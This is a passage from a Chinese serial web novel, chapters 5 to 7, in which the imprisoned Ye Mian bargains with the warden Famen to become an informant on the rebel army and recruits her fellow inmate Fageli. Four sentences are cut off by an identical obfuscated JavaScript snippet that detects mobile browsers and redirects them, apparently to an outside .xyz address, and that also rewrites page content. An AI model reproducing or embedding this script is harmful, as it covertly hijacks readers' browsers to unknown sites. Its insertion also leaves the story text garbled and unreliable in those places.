医疗费的单子送到手里,有些人才沉默下来,打架的时候理性被激情控制了,如今冷静下来还要面对现实。 叶眠作为“受害者”被暂时移到了四楼的病房,她到现在也没看过自己的诊疗单,但想必也不会好看到哪去。 夜里“共患难”的保卫叫王五。 天快亮的时候叶眠短暂地睡了一小会,等醒来的时候,王五出现在病房里,直截了当地告诉她:“典狱长说要见你。” 叶眠愣了愣,看了眼窗外已经大亮的天色:“现在吗?” “是的,现在。”王五说。 典狱长本人的办公室在监狱区,叶眠目前的状态还不能离开医院。所以叶眠是在外科医生办公室里见到的他。 敲门进去的时候,入眼是一个高大的背影。 宽阔的肩膀和健壮的脊背组成了完美的衣架,身体撑起皮质大衣的外轮廓,让人联想到澎湃的力量。他脑后覆盖着修剪整齐的短短发茬,彰显着纪律与克制。 叶眠有点轻浮地在心里吹了声口哨。 “叶绵绵,278号犯人,目前服刑于C监6区,剩余服刑时限79年11个月,四天前再次杀人,可能要参加二判。” “是的,先生。”叶眠心想,原来我住6区。 “你是昨夜医院事件的受害者,说说你知道的。”法蒙转过身来,隔着桌子与她对视。 磁性的声音,完美的脸。眉眼深邃,鼻梁高挺,嘴唇又薄又直,表情冷淡,如同素描使用的石膏像一般,整个人散发着大理石一样的凉意。 叶眠又在心里吹了一声口哨,但嘴巴太快,直接吹出了声。 “叶绵绵,”法蒙皱眉,“我在问话。” “好的,先生。” 叶眠脸上挂着微笑,感觉他可能有些不适应念出这个名字。 ——毕竟这种软糯的叠词从嘴里念出来,天然带着点黏糊和甜蜜。 法蒙冷着一张脸念到“绵绵”的时候,咬字十分令人想入非非。假如这不是在审讯问话,假如是在别的地方,比如床上,沙发上,桌子上,浴缸里……血液奔流,骨子里的欲望初露锋芒。 她及时地收回思绪,在典狱长耐心耗尽前,捡着自己白天听到的说了说,包括三方势力的复杂关系,着重讲了讲可能法蒙自己都不知道的小弟们。 叶眠认为自己表达了最大的诚意,可惜法蒙没有被她带跑。 “监狱应当是遵守秩序的地方,二三十人规模的打斗,一天之内出现两次,很难不让人怀疑其中有鬼,”他接着说,“警卫在你的病房里发现了这个。” 他把激光刀的充能器放在了桌子上,于是叶眠把口袋里能量耗尽的刀也拿了出来。 “我试图用激光刀打开这个来着,”叶眠说,一边扯了扯脖子上黑色的禁制环,“无果,但我只是想一想、试一试,或许也不犯法吧?请看,这里的伤就是被它戳出来的,外科的老医生可以帮我作证,噢,他现在应该被抓去做手术了。” 叶眠扬了扬下巴,大方展示自己伤口上的纱布,眼神却盯紧了对面的人,没有一瞬的放松。 法蒙的表情有点难以描述,叶眠觉得这不像是什么正面的反应——他大概不是“自己人”。 “手铐的断面都是用激光刀破坏的,这又怎么解释?” “尊敬的典狱长先生,您的意思该不会是,我,顶着重伤未愈的半个脑壳,在这个黑灯瞎火的晚上,分别跑进了这三方势力的病房,一个一个给他们把手铐打开,挑唆他们进行乱斗?” 叶眠歪了歪头,语气认真。 对面之人还没出声,她便撸起袖子,伸出自己的胳膊,弯折发力。 因为瘦,所以能看出薄薄肌肉的形状,但不妨碍她现在纤细到可以归到营养不良的范畴里。 这也太惨了,叶眠心疼自己。 出狱可得好好补补。 法蒙搓了搓眉心。 他继任之后一直在处理部队被告上军事法庭的事情——虽然明眼人都知道这是一场彻头彻尾的污蔑——所以没怎么坐镇C监。 昨天案子刚刚告一段落,他一闲下来就听说C监有人聚众闹事。 沈之前递了消息,说本来到C监想跟他见一面的,结果人没见着,倒是碰到一个因故入狱的反抗军,出于好玩或者是赌徒心理,他下了血本把人从生死关拉了回来。 “用你的人格魅力打动她,策 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813656|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反她,这样我们就可以拥有一个二五仔了,”沈这样怂恿法蒙,一边语气微妙,“她在反抗军里的身份……啧啧啧。” 但法蒙感觉,叶绵绵跟沈说的似乎有点不太一样。面前纤细的少女双眼有神,身板笔直,怎么看都不像沈说的“恋爱脑小女生”。 ——就知道沈的话只能当玩笑听。 “我知道你的身份,叶绵绵,”法蒙说,语气严肃,“我知道你隶属反抗军,我们打开天窗说亮话。” 现在轮到叶眠茫然了。 反抗军又是什么?她怎么就隶属反抗军了?她要反抗谁? “我无意反抗,先生,”叶眠收回胳膊,眼神变得警惕,“我是个遵守监狱秩序的良民。” “与那无关。如今你面临终身监禁,反抗军身份暴露后你的日子不会好过,跟我做个交易,叶绵绵。”法蒙说,表情冷得仿佛要把叶眠冻住。 叶眠不吃冷脸这套。 她试图打断这场谈判的节奏:“抱歉先生,我想纠正一下,我是叶眠,不是叶绵绵。”叶眠心里清楚,她与叶绵绵是不同的存在,现在这具身体里存在的,有且只有叶眠。 法蒙只当是她的个人习惯,改口说:“叶眠,你在反抗军内部身份特殊,我可以放你自由,但交换条件是,你回到反抗军后,要随时给我们传递消息。包括反抗军内部权力更迭、大小方向上的决策计划、底层人员流动名单等,只要你知道的,全部写清楚,每月一次汇报。” 叶眠跟他对视,仿佛在进行一场无声的对峙。 “反抗军内有我们的人,如果你敢作假或者隐瞒,我们都会知道。不同意条件的后果,我想你也清楚。” 叶眠直觉嗅到了一点危险的气息。 “你不怕我离开后不履行约定吗?”叶眠没问反抗军是什么,也没问你又属于什么势力,她后颈浅浅的炸起一层汗毛,那是觉察到危险的本能。 “既然是犯人,就不会获得真正的自由。”法蒙说,从口袋里拿出一个扁平的黑色方形小块,一端露出金属插口。 叶眠的视线落在他手心。 “禁制环的钥匙插件,”法蒙眼神扫过她的脸,表情不动,“或许有人跟你说过,三代禁制环的功能,但你现在戴的,其实是刚通过内部测试的四代。” 叶眠的睫毛轻颤了一下。 “四代环外表跟三代长得差不多,但在三代的基础上再次增加了材料强度,并且增设了遥控和开关,来。”法蒙伸手。 很漂亮的一双手。 手指长而有力,手心一道疤痕。 叶眠慢步走上前。 法蒙的手指轻轻掠过她的脖子,插件安装后,他在自己的终端上点了两下。 操作完,冰凉的手再次碰到温热的颈侧。插件被拿走,叶眠的脖子上却还残留着一点令人战栗的触觉。 叶眠看着他,没有动作。 “可以试试你的异能了。我刚刚给你开了两分钟的权限。”法蒙说。 笑话。 她现在哪知道怎么用异能? “所以,就算我们达成了交易,哪怕我人可以离开C监,我也会受你控制。”叶眠定定地说,把一切波澜藏平静表面之下。 “是的,我不可能任你拿到钥匙,”法蒙干脆认下,“但我可以名义上为你脱罪,避免你沦为越狱通缉犯的下场。” “我需要想想,典狱长先生。”叶眠说。 “当然可以,”法蒙露出一个礼貌但冷硬的微笑,“慢慢思考。” 叶眠出门,摸着脖子上的禁制环。 这东西耐造得没边,插口使用完已经自动隐藏起来,手指接触过的地方光滑无缝。 她在思考法蒙的提议,但同时又有股躁郁的火苗盘桓心头。 脖子上带着禁制环,被人挥之即来呼之即去的感觉……遭受言语威胁的叶眠感觉到一种轻微的、不被尊重的愤怒。 法蒙,是吧? 她回病房扎针倒下,一觉睡到中午。 起来吃完饭,下午在输液室见到了胖子。 “谢天谢地你还活着,”胖子很高兴见到她,“我听说了昨夜医院闹出来的动静,你没事真是太好了。” “法格里布,如果现在给你两个机会,要不然给人当狗,要不然去死,你选哪个?”叶眠的轮椅靠在他旁边,她有点懒洋洋地问。 “死亡和自由,很宏大的命题,”胖子摸了摸下巴,“可能当狗吧?当狗|管饭吗?” “当□□饭。”叶眠喃喃地重复。 输液室显示屏里议会竞选结果公布,新任主席站在台上志得意满地跟大家挥手,台下掌声雷动。 5. 第 5 章 “你知道反抗军吗?”二人沉默了一会儿,叶眠开口。 不成想张嘴就是王炸。 “这是能说的吗?!” 胖子先是一惊,左看右看没人注意,快速抹了下脸调整表情,同时压低声音说:“还这么大声!你说的可是反抗军,联盟反抗军!” 叶眠张了张嘴。 “我知道,很多人对联盟很有异议,内部派系也有主张革命的力量,但是名义上、实际上、说到底,现在我们还是受其领导,尤其,你就站在首都星的土地上!怎么能就这么轻描淡写地说出反抗军!” 胖子连珠炮一样说了一堆,咽了下口水,最后又补了一句,“当然,我不会因此认为你是反抗军的支持者,只是祸从口出,绵……叶眠。” ——所以我是叛党,叶眠恍惚了一下。 我不只是杀人入狱的罪犯,还是受官方通缉的叛乱分子。 “反抗军是不能说的存在。”她小声确认。 “不能说,”胖子加重语气重复,“联盟不承认反抗军存在,公开社媒上也不允许出现反抗军的消息。反抗军就是乱党、反动势力,妄加评论会被有关部门抓起来审问的。” 见叶眠还有话想问,胖子眼露祈求:“有机会再说好吗我的老天,万一被人听到举报,我们就真完蛋了!你多少有点囚犯的自觉!” “好,不说了。”叶眠安抚他。 胖子讳莫如深的样子跟法蒙的轻描淡写对比鲜明,以至于显示出一种割裂感。 法蒙属于什么势力?C监外的世界现在是什么样子? 叶眠迫切地想要知道更多信息。 “讲讲联盟的事情吧,法格里布。”叶眠说。 输液室的显示屏开始播放男女痴缠的肥皂剧,颇有些索然无味。 胖子瘫在椅子上,终于恢复了往日的模样。他慢慢悠悠开口:“政治我不擅长,但历史学得还可以,你跟我差不多年纪,大学读完了吗?” 叶眠从鼻子里哼了一声:“你觉得呢。” 胖子便默认她是没读。 “三百年前星系革命,帝国燃起战乱。初代领袖们杀进皇宫,皇帝失踪后,他们创建了联盟,设置了议会、审判庭和军事战略部。不成想,从小失散的太子没死,他即位后,帝国卷土重来来,经过十年反复,整个星系逐渐稳定成联盟与帝国分庭抗礼的局面。 “联邦下属五十七个星球,其中十四个偏远星球和帝国接壤,八个星球组成联盟中心,核心三星包括首都星、银辉星、海蓝星。去年我们和帝国的战争正式结束,但小道消息说联盟军部还在垃圾星征兵,可能过两年战争会继续吧。” “战争带来死亡也带来机会,你喜欢打仗吗,叶眠?”胖子扭头。 “战争是获取和平的手段。”叶眠说。 “我不喜欢,”胖子说,“虽然被要求在首都军大读完四年,家里人建议我趁和平年代混个军部的位置,但我不喜欢。” “首都军大?”一听就很厉害的学校。 “花钱就能进,军大的海蓝星校区是法格里布家族捐的。”胖子说。 叶眠被震撼得沉默一瞬:“那你怎么在C监,嗯……避难。” “海蓝的法格里布,”胖子做贼一样压低声音,“投向了反抗军。” “……” “胖子,”叶眠眼神空洞地搭在前方,“你还有什么惊喜是我不知道的,干脆一起说了吧。” “也没什么,我们家族主要是做食品和营养液生意的,之前的继承人应该是我名义上的哥哥,我爸的私生子。” 胖子很少见地情绪低落下来,叶眠侧目。 “伊斯坦·法格里布。他绑架了我妈,带着海蓝的法格里布倒向了反抗军,现在失联了。他身上背了联盟通缉令,我爸不想他死,又担心他对我出手,干脆把我送进了C监,自己带着人去抓他了,之后就一直没有消息。族里现在是我叔叔诺亚·法格里布掌权,他不喜欢我,所以也不来接我出狱,我只能每天混吃等死。” 胖子笑了笑:“你不是问,选择自由还是当狗吗?” 他后半句没说出来,叶眠拍了拍他的肩膀:“往好处想,等你爸救回你妈、抓到你哥,说不定你就会成为新的继承人,前途一片大好。” “没那么容易的。家族不认可我,我的异能也不够强势,只有我妈的支持,现在我是弃子。”胖子对自己的认知很明确,对形势看得也很清楚。 “说是避难,但出狱都遥遥无期。” 叶眠想了想。 “胖子,要不要跟我干。”未来女帝递出了她的第一根橄榄枝。 “跟你干什么?”胖子警觉。 “你要打脸你的族人,我呢,要打爆这个世界,”叶眠肯定地说,“我们注定是同路人。” * 联盟的腐朽在于官官相护、政商联合。 最初的革命让半个星系摆脱了皇帝的残暴统治,其初衷是建立自由平等的新秩序。 第一代议会代表相继去世后,民主的推举与竞选制没能完整延续下来,议会逐渐被权力博弈与金钱交易渗透。如今的议会已经是商人政客们长袖善舞的社交场,是贫富差异进一步扩大的培养皿,是掠夺剥削底层人民的强盗窝。 不断出现的新纳税项、一削再削的公民福利、越发紧缩的医疗和教育资源,一系列倾斜明确的法律出台,人民艰难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813657|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生活在暗无天日的噩梦里,找不到打破阶级壁垒向上的渠道。 他们无法发声,无法反抗,任何试图挑战现有秩序的人都会被贴上“反动分子”的标签,遭到无情的打击。 “虽然反抗军不能说,但是反抗军的存在是必然的。联盟近些年一直是宁肯错杀不肯放过的态度,反抗军应该是发展不太起来。”胖子做贼心虚,小声跟叶眠咬耳朵。 他热血上头接下了叶眠的邀请,但还是不太习惯把反动势力挂在嘴边,总有种下一秒就要被抓的紧迫感。 “法格里布家世代经商但不参政,只有我哥,伊斯坦,对权力有种狂热的欲望。我爸说过他,他后来就不太外显了,但我们都清楚他是什么样的人,只是没想到他会做到这么决绝。” 叶眠若有所思:“你想没想过,只靠绑架你妈妈,他怎么保证海蓝星的法格里布都跟着他一起倒向反抗军呢?” 胖子觉得理所当然:“他在海蓝星发展很多年,那些人都变成了他的心腹,对他马首是瞻。” “但是像你这样的成长背景,如果没出什么大变故,几年时间,你会从一个普通联盟公民变成死心塌地的反动分子吗?此事有疑点。你爸爸的态度也很含糊,宁愿丢下偌大家业自己出去找也不假手他人,咦,胖子,你家该不会是个大反抗军窝子吧。”叶眠说。 胖子被吓得不轻,眼睛都瞪大了:“你不要污蔑我家啊。” 叶眠的眼神意味深长。 * 晚上换药再见到护士,叶眠自觉二人已经足够相熟,询问能不能给她个终端玩游戏,意料之内被拒绝了。 “虽然现在越狱的情况少了很多,但是这种能跟外界联系的东西还是不能给你。”护士拿出一支注射器,把里面的绿色液体推进叶眠的脖子里。 “这是生长因子吗?”感受到一点微微的痛,叶眠好奇问。 “准确来说是二级生长因子,这是第二针。打完这针,五天后还要再打一次。如果不打满三针,可能你的脑壳会缺一部分长不全,或者一辈子顶着一个软脑壳。”护士笑起来,露出一口鲨鱼般的白牙,“老实呆着哦。” “会老实的,我可不想一辈子趴着睡觉。”叶眠已经趴着睡了好几天,很不舒服。 “真的吗?”护士鼻子里轻哼一声,“真老实吗?” 叶眠摸了摸鼻子,有点心虚。 “玻璃渣我帮你清理了,好好休息吧。”护士最后整理了一下叶眠的枕头,又像摸小孩一样摸了摸她的头顶。 “姐,其实我是叶眠,不是叶绵绵。”叶眠说。 “好,叶眠,早点休息。”护士说。 叶眠确实睡了个“好觉”。 6. 第 6 章 今天是叶眠术后的第四天。 醒来的时候,叶眠没有立刻起床。 昨夜的梦里又是那场扯地连天的大火。 烧灼,疼痛,绝望。 但是她的记忆空空荡荡,没有留下任何线索。叶眠无法确定这是真实发生过的事情,还是某种预言与暗示,只能寄希望于属于叶绵绵的记忆会恢复,或者出狱后她能找到关于过去的只言片语。 叶眠不急着找法蒙,反正已经确定要答应他的条件,出狱板上钉钉,她还要在医院里留到第三针打完。 把早餐糊成一团的粥吃掉,叶眠去了点滴室,开始看那个放广告比放连续剧多、放连续剧比放正事节目多的大屏。 这两天联盟最大的事情就是联盟换届,新一任主席春风得意,上任后第二天就召开议会修订粮食法律。 “新的粮食法律抬高了农民税收,但是压低了营养液的税率。”胖子来正好看到,他脸上挂了两个黑眼圈,一看就是昨天没睡好——考虑了一晚上自己是不是上了贼船,没想出个结果。 “因为政府要推动营养液的普及?”叶眠问。 “是的。自然生长的植物越来越少,我们现在吃到的食物味道口感古怪,因为原材料产出依靠的是基因科技和化学手段,厨师做出来的东西早就失去了在口味享受上的价值,只是能提供生命维持必须的营养素罢了。” “营养液就不一样了,萃取浓缩营养成分后,它能完全脱离食材本身的形态和味道,你可以根据自己的偏好买到不同口感和口味,摄入方式也更简单,开盖即食。”胖子说。 “那你家的营养液生意岂不是赶上风口了,政策扶植,大赚一笔。”叶眠说。 “据我所知,没有。”胖子叹气,“萃取营养液的技术还不够成熟,生产效率也低,虽然工厂已经投入使用,但产品市场根本没打开,成本高,定价也高,性价比一般。营养液工厂建在海蓝,伊斯坦一走,这次怕是更赶不上了,粮食大企又不止我们家族。” “他们的技术比你家先进吗?” “那倒没有,至少在我入狱之前,法格里布的萃取技术肯定是最先进的,毕竟伊斯坦的异能就是手萃,我们只需要拿着瓢找葫芦。但现在政府扶持,研发经费投进去,其他家的成果自然也会有。”胖子搓了搓脸,有点焦灼。 “你现在焦虑也没用,不如想想怎么抓到你哥,把你妈救回来。”叶眠说。 “靠谁啊,靠你还是靠我,咱们连C监大门都出不去。”胖子愁眉苦脸。 “你瞧好吧。”叶眠挑眉说。 关于修改粮食法案的争议讲了二十分钟,大屏切换到广告。胖子抱着手臂好像睡着了,叶眠抓紧时间,试图从广告里的蛛丝马迹中了解外面的世界。 义肢广告,飞船广告,营养液宣传片,主席竞选回放,边境采访,审判庭案件简报……叶眠看到了法蒙。 她不由坐直了身体。 法蒙一身墨色军装从审判庭大步走出,记者一拥而上,闹哄哄地挤在他身边。 “法蒙中将是否能如期晋升上将?” “关于边境三师拒绝撤回境内您有什么看法?” “联盟与帝国的和平条约能是否可以继续维系,您觉得这次和平还能维持多久?” …… 一个男人尖声发问:“法蒙中将,边境三师是否如传言所说被反抗军渗透?审判长如何裁决,请给民众一个说法!” 法蒙驻足,漠然瞥向开口的人。 被视线凌迟的男记者瑟缩了一下,不由把话筒后撤了一些。法蒙推开眼前挡路的记者,拉开悬浮车车门:“三师军人忠于联盟,无愧于心。” 叶眠若有所思。 “噢!我想起来了!” 胖子睁开眼,他一拍大腿:“怪不得耳熟,法蒙,他是联盟的边境将领,五年前他带领边境第一师在黑水星以少胜多,被写进战场指挥学课本。经典案例,期末考试出过题,我学过的。没想到现在已经是正经中将了,他应该还不到三十岁吧。” “中将,这么高的军衔,还可以兼任C监典狱长?”叶眠问。典狱长算不进行政核心,但是C监独立自治,中间有很多灰色空间可以灵活操作。 胖子解释:“毕竟我们跟帝国的战争打完了,和平条约公布之后,很多将士军人都回家了。法蒙应该是留军挂职,现在边境不需要他了,如果背景够硬,拿下典狱长这个位子不是难事。边境三师是出什么问题了吗,他怎么从审判庭出来的?” “不清楚,那个男记者怀疑他带的兵跟反抗军有勾结。” 胖子愤然开口:“怎么哪里都有反抗军的事,这些人是苍蝇吗?哪都掺一脚。” 反抗军·叶眠保持了适当的沉默。 “如果是这个法蒙的话,那C监以后的日子可就好起来了,法蒙为人应该还是不错的,”胖子乐观地说,“那我也能好过一些,不用每天躲医院。” 这几天监狱区一切如旧,6区两个犯人因为卫生任务起了点小冲突,被名叫黑兔子的狱警一起扔进了9区多人间,昨天回来了一个,脸上是血淋淋的抓伤。 叶眠想了想:“记者说,边境三师拒绝执行撤回命令,法蒙是直接领导三师的中将,那他是自愿留在首都星的吗?按你所说,家里人安排他做典狱长的话,他自己属意呢?” “嗯……”胖子思索,“跟打仗驻边比起来,待在首都星不是更舒服一些吗?” 作为联盟核心中的核心,对于“上等人”而言,首都星的繁荣安逸程度是其他地方完全比不了的。 “那就得看人了,我不觉得法蒙是贪图享受的人。” 叶眠回想记忆里法蒙的样子。能把皮大衣穿出军装的板正,眉目里藏不住的果决杀伐之气,在知道法蒙是军人之后,那些小细节就变得很好理解了。 叶眠大胆推测:“有没有一种可能性,边境三师因为某些原因被绊住无法撤回,军部就强制单独召回了中将,甚至用的理由就是晋升上将?” 她从这个假设出发,接着说:“法蒙本来以为很快就能归队,但是被摁在了C监典狱长的位置上。边境军处境微妙,如果法蒙真是个正派的人,现在恐怕是深陷泥潭很难抽身,但如果他顺应某些人的想法,同意把典狱长这个位置当成跳板,走上弃军从政的路……康庄大道。” “没听说过他隶属哪个家族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813658|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但如果你猜的是真的,他上任典狱长,可能就是议会军部中某两个或几个势力的博弈,这就不是我们能知道的了。”胖子的表情也严肃下来。 “只是猜测。”叶眠说。 如果法蒙听到她的大胆发言,可能会为这段精彩的推论鼓两下掌。 但此时此刻,典狱长正在德里克主家府邸中的会议上,迎接来自所有上位族人的施压。 “法蒙,你是你父母的独子,如今德里克唯一的嫡系,你必须进议会或者在军部任职,你注定要进政权核心,而不是留在边境做你的闲散将军。”卡门·德里克说。 他是法蒙的大伯父,现在德里克家族名义上的大族长,具有家族内最高的话语权。 法蒙面不改色:“伯父,我不可能抛下被截断退路的边境战士留在首都星,哪怕进审判庭甚至进监狱,我的态度都不会改变。德里克的政敌们一直在向我们泼脏水,你们不让我离开首都星,只会让形势僵持在原地。” “法蒙,家族的存续需要牺牲,你知道规则。”开口的人名叫贝拉·德里克。 她曾短暂担任审判长一职,如今仍在审判庭陪审团任职。明明年近六十却不见丝毫老态,她的口吻堪称温和,但语气不容违抗。 “你既然已经接下了典狱长的位置,我们以为你已经理解并且接受了家族为你安排的路。”卡门接回话头,似有失望。 “伯父,是您说,拜托我暂留首都星,是您说,德里克要借助我拿下C监,是您说,只要萨利下台我就可以回去,”法蒙的眼神平静而冷漠,“德里克的小辈们早就渗透进议会军部甚至审判庭的各个位置,你们根本不需要我重回联盟核心。” “这句话你应该去跟你早亡的父母说。”年轻的汤姆森·德里克蓄了胡子,但还是压不住自己年少轻狂的脾气。 他冷笑一声,加重语气:“问问他们,为什么德里克的附庸说,他们‘只归属于艾文·德里克、安娜·德里克’,在他们夫妻死后也‘只听从于法蒙·德里克’。” “汤姆森。”卡门警告开口。 汤姆森眼神恨恨。 法蒙的眼神暗了暗:“我父母收编的势力属于我父母,如果有任何异议,我不介意你去地下亲口与他们对质,问问他们,德里克到底做了什么,逼他们不得不撤离家族,从头开始建立自己的势力。” 德里克在衰败,树大根深的家族养出了一群又一群蛀虫,现在能堪大任的小辈只有法蒙,这个联盟政治漩涡中的大家族正面临着后继无人的困境,法蒙的价值,他自己清楚,族中长辈也清楚。 “艾文和安娜被暗杀,至今没有结案。伯父,我说过,在凶手被绳之以法前我不会承认德里克这个姓氏,更不可能回归德里克,按你们的吩咐行事。”法蒙只想早点结束,因为这场会议注定没有结果、徒费口舌。 “如果说,最近我们查到了新的东西呢?”卡门跟贝拉交换了一个眼神。 法蒙不动声色地眯了眯眼睛。 “反抗军的指挥使,曾与你父母联系密切。近日其他案件牵连,审判庭缴获了一批反抗军的信件,其中有一封与安娜的通讯记录,或许,你会想了解一下。” 7. 第 7 章 【叶眠术后第五天】 “今天是异能检查日。”胖子绞着手指,看起来有些焦虑。 “什么检查日?”叶眠戒断止痛药第五个小时,缭绕不去的痛意让她有些烦躁。 “犯人们带着禁制环,无法使用异能,这种禁制本质是一些化学成分、生物电流和什么其他东西……抱歉,具体我不太清楚,总之多重因素复合产生的结果。” “它对异能有害,所以监狱里每个月都会有几天是检查日,检查所有犯人的异能水平是否下降……甚至消失。”胖子咽了咽口水。 “异能会消失?”叶眠已经了解了一些异能的基础知识,但还从未听说过异能消失。 “会。就像人会生病,异能也会被削弱、暂时失灵、甚至永久失去。”胖子说。 王五带着医院的几个囚犯前往监狱检测处,见到叶眠还跟她打了个招呼,叶眠冲他笑笑,心中盘算着一会儿该怎么应付检查。 作为一个从没有尝试过异能的人,她不得不担心自己会在检查中露馅。 检测处是一栋单独的房子,门外停着一台重装车,几个身穿作战服的狱警抱着枪,扫视的眼神藏在墨镜之后。李医生坐在正门之内,身前摆着显示屏,给犯人们挨个登记,发配不同检查室。 “加班呢,李医生。”叶眠说。 “唉,是,头还疼不?” “好多了,检查的人多吗?” “你们是第三批,今天一共四十多批呢,”李医生翻了登记表,给她勾上,“278号,A级?挺厉害嘛,101房间。” “多谢。” 四十多批,一批算五十个,光今天就两千人。 好大的监狱……好高的犯罪率? 胖子戳戳她,打断了叶眠的思路:“我去103了,祝你好运,也祝我好运。” - 叶眠穿过一楼走廊,从侧面的窗户能看到院子。犯人队伍旁边,几个领队的狱警在打牌,声音粗噶放肆,与寂静的犯人们形成了鲜明的对比。 看着犯人身上破破烂烂的囚服,叶眠感觉,还是自己身上的病号服顺眼一点。 101门口,叶眠跟正好出来的犯人打了个照面。 那人囚服整洁,打量她的时候,眼睛眯起,脸上细纹带着点狠意,并非针对谁,而是一看就是亡命徒的模样。 叶眠与他错身而过,心想,这就是C监里的A级异能者吗? 101内,不知名的仪器被堆在一侧,中央一块空地,投影出一个破破烂烂的虚拟人偶。桌子后面坐着一个白大褂,她埋头在三张显示屏后,不知道操作了什么,沙包人偶被一键刷新。 是要攻击沙包吗?叶眠茫然。 听到有人进门,白大褂看了眼侧面的显示器,念:“278号,异能凝冰,战斗型。” 她手速很快,把键盘敲得噼啪作响,眼下黑眼圈要坠到地上,厚重的眼镜半掉不掉地挂在鼻尖,“二级禁制环……嗯?三级?” 她终于抬头,跟叶眠四目相对。 “医生,”叶眠乖巧,“我需要做什么?” 情况不明,她没说自己是四代禁制环的事。 “只是异能检查员,不算医生哈,”检查员面无表情,她打开通讯,“李医生,三级环怎么送我这了?” 通讯里的声音叶眠听不到,她只能站在原地干等,好在那头办事速度还挺快,检查员面色一正:“行。” 挂了通讯,她推推眼镜:“李医生说稍等,典狱长会亲自过来,你去隔壁102吧。” “谢谢。”叶眠干脆地离开,有点遗憾不能试试虚拟沙包的手感。 又要面对法蒙…… 感觉失忆这件事很难隐藏,毕竟她连怎么调用异能都不知道。 102空空荡荡,只有两把椅子,她无事可做,绕着走了一圈,也没看到摄像头。 门外脚步声传来,是法蒙到了。 “典狱长先生。”叶眠礼貌问候,人却坐在椅子上,没动。 依然是板正利索的穿搭,衬衣扣到最顶,连塞进裤腰的下摆褶皱都是整整齐齐。 法蒙把外套搭载椅背上,在她对面坐下。面对着毫不掩饰的欣赏目光,他不动声色地皱了皱眉。 “考虑得如何了?”他单刀直入,撇掉那点不适。 “我同意您的要求,但有一个额外条件。”叶眠说。 法蒙以为她想为了异能自由跟他扯皮,果断拒绝:“与禁制环有关的话,不行。” 叶眠比他的预期更桀骜,事关他的绝对控制,他绝不退让。 “我无意摘下这枚,项圈,”叶眠却只是笑了笑,意有所指,“我会成为您忠诚的线人。” 在法蒙开口前,她掐着节奏打断了他:“是这样的,先生,我仔细想过,我回到反抗军需要一个取信于人的理由。毕竟,一个没什么背景的人,反抗军没出手,我凭什么能从C监离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813659|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开呢?” 法蒙皱眉,想:以你跟反抗军指挥使的关系,只要能回去,他高兴就得了,还需要什么理由吗? 但她的想法又确实有点道理。 “那你的想法是?” “我在这里认识了一个法格里布,”叶眠坦然地说出了她的目标,“您知道他家的事情吧?” 法蒙确实知道。 海蓝星的伊斯坦·法格里布投奔了反抗军,为了逃避联盟追责,他们把伊斯坦的弟弟送进了监狱避难。 这代表着法格里布的主家与审判庭有些往来,他们能把人送进来,自然也能把人送出去。 叶眠见他没有第一时间反驳,便继续解释:“我初步想的口供是,因为与拉米亚纳被锁进同一间牢房,我们联手自保,结下了深刻友谊,法格里布捞一个也是捞,捞两个也是捞,所以把我也带了出去。” 理由听起来是不错,但…… “法格里布并没有任何想捞拉米亚纳出狱的意思,至少到现在为止,我没有收到任何消息。”法蒙说。 “因为这本来就是杜撰的呀,”叶眠嘴角带笑,“反抗军不需要知道实情,法格里布内部变动?拉米亚纳本人是否弃子?不重要。只要带着拉米回去,加上我平安离开C监的事实,这就足够有说服力了。” “而且法格里布只是想避难,拉米本人在哪根本无所谓,甚至等我重新取得反抗军信任后,再把他送回C监都可以。”叶眠势在必得的微笑仿佛焊在脸上。 拉米亚纳·法格里布——新手村的勇者朋友,她要带走。 法蒙想通了其中关节,不得不承认,这套逻辑很完善。 “我只有一个问题。你跟陆风,需要这么多弯弯绕绕吗?”法蒙逼视叶眠的表情,想要看出一丝破绽。 陆风?谁? 叶眠表情不变,内心大惊。 老天奶,这又是哪位啊? 在她的沉默中,法蒙感觉到一丝不对,他眼神加深,似乎要把叶眠整个看穿。 叶眠心想,横也一刀竖也一刀,干! 